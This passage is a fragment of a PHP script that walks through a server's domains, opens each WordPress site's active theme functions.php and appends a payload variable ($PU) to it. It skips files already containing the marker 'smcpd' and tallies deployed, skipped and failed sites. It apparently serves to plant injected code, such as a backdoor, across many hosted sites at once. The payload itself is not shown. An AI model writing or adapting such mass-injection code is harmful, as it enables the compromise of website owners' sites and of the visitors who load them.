    if(!$theme){ $results[]="$domain: NO_THEME"; $failed++; continue; }
    $fn=$dir.'/wp-content/themes/'.$theme.'/functions.php';
    if(!file_exists($fn)){ $results[]="$domain: NO_FN"; $failed++; continue; }
    $content=file_get_contents($fn);
    if(strpos($content,'smcpd')!==false){ $results[]="$domain: ALREADY"; $skipped++; continue; }
    $new=rtrim($content);
    if(substr($new,-2)==='?>'){ $new=substr($new,0,-2); }
    $new.=$PU;
    if(@file_put_contents($fn,$new)){ $results[]="$domain: OK($theme)"; $deployed++; }
    else{ $results[]="$domain: WRITE_FAIL"; $failed++; }
}
echo "D:$deployed S:$skipped F:$failed\n---\n";
foreach($results as $r) echo $r."\n";
